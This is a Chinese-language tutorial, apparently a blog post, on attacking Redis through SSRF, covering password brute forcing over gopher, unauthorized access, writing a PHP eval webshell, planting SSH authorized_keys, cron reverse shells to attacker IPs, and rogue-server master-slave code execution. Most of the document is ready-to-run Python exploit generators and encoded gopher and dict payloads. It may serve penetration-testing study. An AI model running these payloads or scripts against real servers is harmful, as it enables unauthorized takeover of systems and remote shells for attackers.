参考文章
浅析Redis中SSRF的利用
Redis结合SSRF绕过disable_function getshell
前言
常见的关于 Redis 的安全问题有两个
弱口令
木头师傅的弱口令爆破脚本(结合 SSRF):
import requests
target = "http://x.x.x.x:6666/index.php?url=" # 请输入目标url
rhost = "127.0.0.1"
rport = "6379"
with open("passwords.txt","r+") as file:
passwds = file.readlines()
for passwd in passwds:
passwd = passwd.strip("
")
len_pass = len(passwd)
payload = r"gopher://" + rhost + ":" + rport + "/_%252A2%250d%250a%25244%250d%250aAUTH%250d%250a%2524"+str(len_pass)+r"%250d%250a"+passwd+r"%250D%250A%252A1%250D%250A"
url = target+str(payload)
text = requests.get(url).text
if "OK" in text:
print("[+] 爆破成功 密码为: " + passwd)
print(text + payload)
break
未授权访问
在 redis.conf
的配置文件中,有两个关键的配置会造成 Redis 未授权访问
- bind x.x.x.x
配置允许登陆 redis 服务的 ip,默认是 127.0.0.1(本机登录)
如果设置成 0.0.0.0 就相当于将redis暴露在公网中,公网中的机器都可以进行登陆 - protected-mode
功能是自 redis 3.2 之后设置的保护模式,默认为 yes,其作用就是如果 redis 服务没有设置密码并且没有配置 bind 则会只允许 redis 服务本机进行连接
面试的时候会考!!!
redis 安装启动
- 下载安装包:http://download.redis.io/releases/
- 解压
tar -zxvf redis-x.x.x.tar.gz
- 进入解压后的文件夹,执行
make
命令 - 修改 redis.conf 文件
- 进入
src
目录,执行./redis-server ../redis.conf
,启动 Redis
前置知识
为了进一步了解 SSRF + Redis 的利用方式,首先要了解利用中的常见应用/网络协议
RESP 协议
RESP 协议是 redis 服务之间数据传输的通信协议,redis 客户端和 redis 服务端之间通信会采取 RESP 协议
因此我们后续构造 payload 时也需要转换成 RESP 协议的格式
RESP 协议格式例如:
*1
$8
flushall
*3
$3
set
$1
1
$64
*/1 * * * * bash -i >& /dev/tcp/192.168.230.132/1234 0>&1
*4
$6
config
$3
set
$3
dir
$16
/var/spool/cron/
*4
$6
config
$3
set
$10
dbfilename
$4
root
*1
$4
save
quit
其中
*n
代表着一条命令的开始,n 表示该条命令由 n 个字符串组成$n
代表着该字符串有 n 个字符
执行成功后服务器会返回 +OK
,这个是 redis 服务器对 redis 客户端的响应
gopher:// 协议
当探测内网或执行命令时需要发送 POST 请求,我们可以利用 gopher 协议
协议格式:gopher://<host>:<port>/<gopher-path>
,这里的gopher-path
就相当于是发送的请求数据包
特性:当使用 gopher 协议时,gopher-path
的第一个字符会被吞噬,所以我们在发送请求时要注意这一点
注意点:CRLF(换行) 需要双重 URL 编码,即%250d%250a
dict:// 协议
dict 协议是一个字典服务器协议,通常用于让客户端使用过程中能够访问更多的字典源,能用来探测端口的指纹信息
协议格式:dict://<host>:<port>/<dict-path>
一般为:dict://<host>:<port>/info
探测端口应用信息
执行命令:dict://<host>:<port>/命令:参数
冒号相当于空格,在 redis 利用中,只能利用未授权访问的 redis
与 gopher 不同的是,使用 dict 协议并不会吞噬第一个字符,并且会多加一个 quit 字符串,自动添加 CRLF 换行
其他的与 gopher 没有太大差别
在 redis 未授权访问中,当传输命令时,dict 协议的话要一条一条的执行,而 gopher 协议执行一条命令就行了,所以一般 dict 协议只是当个备胎用
而且在传输命令时,若命令中有空格,则该命令需要做一次十六进制编码
大佬的脚本:
cmd = "
* * * * * root bash -i >& /dev/tcp/192.168.230.132/1234 0>&1
"
cmd_encoder = ""
for single_char in cmd:
cmd_encoder += hex(ord(single_char).replace("0xa","0x0a").replace("0x","\\x"))
print(cmd_encoder)
所以执行的命令为,当在浏览器中执行时,需要再进行一次 url 编码
set 1 "
* * * * * root bash -i >& /dev/tcp/192.168.230.132/1234 0>&1
"
对应
dict://172.2.0.2:6379/set:1:"十六进制编码"
config set dir /etc/
对应:
dict://172.2.0.2:6379/config:set:dir:/etc/
config set dbfilename crontab
对应:
dict://172.2.0.2:6379/config:set:dbfilename:crontab
save
对应:
dict://172.2.0.2:6379/save
大佬的一键式 ssrf + redis + dict 利用脚本
#!/usr/bin/python
# -*- coding: UTF-8 -*-
import urllib2,urllib,binascii
url = "http://192.168.0.109/ssrf/base/curl_exec.php?url=" # 存在 ssrf 的 url
target = "dict://192.168.0.119:6379/" # redis 服务器地址
cmds = ['set:mars:\\"\n* * * * * root bash -i >& /dev/tcp/192.168.0.119/9999 0>&1\n\\"', # shell接收地址与端口号
"config:set:dir:/etc/",
"config:set:dbfilename:crontab",
"bgsave"]
for cmd in cmds:
cmd_encoder = ""
for single_char in cmd:
# 先转为ASCII
cmd_encoder += hex(ord(single_char)).replace("0x","")
cmd_encoder = binascii.a2b_hex(cmd_encoder)
cmd_encoder = urllib.quote(cmd_encoder,'utf-8')
payload = url + target + cmd_encoder
print payload
request = urllib2.Request(payload)
response = urllib2.urlopen(request).read()
拿 shell 的方法
绝对路径写 shell
条件:
- redis 有 root
- 知道网站绝对路径
未授权访问直接写
- 连接 redis,
./redis-cli -h ip地址
- 写 shell
执行如下命令
flushall
set 1 '<?php @eval($_REQUEST["1ndex"]); ?>'
config set dir '/var/www/html'
config set dbfilename test.php
save
查看被攻击机:
可以看到,shell 已被成功写入
结合 SSRF
由于此时是后端服务器向 redis 服务器发起请求,因此发送的内容需要转换成 RESP 协议的格式,通过结合 gopher 协议达到写入 shell 的目的
转换脚本:
#!/usr/bin/env python
# -*-coding:utf-8-*-
import urllib
protocol="gopher://" # 使用的协议
ip="192.168.230.138"
port="6379" # 目标redis的端口号
shell="
<?php phpinfo();?>
"
filename="shell.php" # shell的名字
path="/var" # 写入的路径
passwd="" # 如果有密码 则填入
# 我们的恶意命令
cmd=["flushall",
"set 1 {}".format(shell.replace(" ","${IFS}")),
"config set dir {}".format(path),
"config set dbfilename {}".format(filename),
"save"
]
if passwd:
cmd.insert(0,"AUTH {}".format(passwd))
payload=protocol+ip+":"+port+"/_"
def redis_format(arr):
CRLF="
"
redis_arr = arr.split(" ")
cmd=""
cmd+="*"+str(len(redis_arr))
for x in redis_arr:
cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
cmd+=CRLF
return cmd
if __name__=="__main__":
for x in cmd:
payload += urllib.quote(redis_format(x))
print payload
print urllib.quote("二次url编码后的结果:
" + payload)
得到 payload:
gopher://192.168.230.138:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2439%0D%0A%0A%0A%3C%3Fphp%20%40eval%28%24_REQUEST%5B%271ndex%27%5D%29%3B%20%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%2410%0D%0Ashell2.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A
结合 SSRF 时,需要再次进行 URL 编码,也就是二次 url 编码后的结果
gopher%3A//192.168.230.138%3A6379/_%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250A1%250D%250A%252439%250D%250A%250A%250A%253C%253Fphp%2520%2540eval%2528%2524_REQUEST%255B%25271ndex%2527%255D%2529%253B%2520%253F%253E%250A%250A%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%252413%250D%250A/var/www/html%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%252410%250D%250Ashell2.php%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A
原因: payload 传到后端服务时会进行一次解码,后续利用 ssrf 发起请求时也会进行一次解码,因此总共就是两次 URL 编码
redis 写入 ssh 公钥
条件:
- redis 有 root
原理:
通过在目标机器上写入 ssh 公钥,然后便可以通过 ssh 免密码登录目标机器
生成 ssh 公/私钥
ssh-keygen -t rsa
,一直回车即可
可以在/home/kali/.ssh/
下看到生成的结果,分别为私钥和公钥
未授权访问直接写
flushall
set 1 'id_rsa.pub 里的内容'
config set dir '/root/.ssh/'
config set dbfilename authorized_keys
save
然后通过ssh -i /home.kali/.ssh/id_rsa root@192.168.230.138
即可免密登录远程机器
结合 SSRF
将内容转换为 RESP 协议的格式
import urllib
protocol="gopher://"
ip="192.168.230.138"
port="6379"
sshpublic_key = "
id_rsa.pub 里的内容
"
filename="authorized_keys"
path="/root/.ssh/"
passwd=""
cmd=["flushall",
"set 1 {}".format(sshpublic_key.replace(" ","${IFS}")),
"config set dir {}".format(path),
"config set dbfilename {}".format(filename),
"save"
]
if passwd:
cmd.insert(0,"AUTH {}".format(passwd))
payload=protocol+ip+":"+port+"/_"
def redis_format(arr):
CRLF="
"
redis_arr = arr.split(" ")
cmd=""
cmd+="*"+str(len(redis_arr))
for x in redis_arr:
cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
cmd+=CRLF
return cmd
if __name__=="__main__":
for x in cmd:
payload += urllib.quote(redis_format(x))
print payload
print urllib.quote("二次url编码后的结果:
" + payload)
crontab 定时任务反弹 shell
条件:
- redis 有 root
- centos
由于 redis 输出的文件都是 644 权限,但是 ubuntu 中的定时任务一定要 600 权限才能实现所以这个方法只适用于 centos
未授权访问直接写
flushall
set 1 "
* * * * * root bash -i >& /dev/tcp/192.168.230.132/1234 0>&1
"
config set dir '/var/spool/cron'
config set dbfilename root
save
结合 SSRF
import urllib
protocol="gopher://"
ip="192.168.230.138"
port="6379"
reverse_ip="192.168.163.132"
reverse_port="2333"
cron="
*/1 * * * * bash -i >& /dev/tcp/%s/%s 0>&1
"%(reverse_ip,reverse_port)
filename="root"
path="/var/spool/cron"
passwd=""
cmd=["flushall",
"set 1 {}".format(cron.replace(" ","${IFS}")),
"config set dir {}".format(path),
"config set dbfilename {}".format(filename),
"save"
]
if passwd:
cmd.insert(0,"AUTH {}".format(passwd))
payload=protocol+ip+":"+port+"/_"
def redis_format(arr):
CRLF="
"
redis_arr = arr.split(" ")
cmd=""
cmd+="*"+str(len(redis_arr))
for x in redis_arr:
cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
cmd+=CRLF
return cmd
if __name__=="__main__":
for x in cmd:
payload += urllib.quote(redis_format(x))
print payload
print urllib.quote("二次url编码后的结果:
" + payload)
Redis 主从复制 getshell
条件:
- redis 4.x/5.x
简介:
redis 主从模式,简言之就是一台 redis 服务器作为主设备,其余 redis 服务器作为从设备。并且主从设备中的所有数据都是相同的,其中主设备负责写数据,从设备负责读数据用以缓解单个服务器压力。
通过 redis 未授权访问,可以设置目标机器上的 redis 作为从设备,在本地另起一个 redis 作为主设备
在 Reids 4.x 之后,引入外部拓展文件来实现新的 redis 命令,构造恶意 .so 文件。在两个 redis 实例设置主从模式的时候,redis 的主机实例可以通过 FULLRESYNC 同步文件到从机上。然后在从机上加载恶意 .so文件,即可执行命令。
步骤:
下载exp,执行python3 redis-rogue-server.py --rhost=x.x.x.x --lhost=y.y.y.y --exp=exp.so
即可
其他复现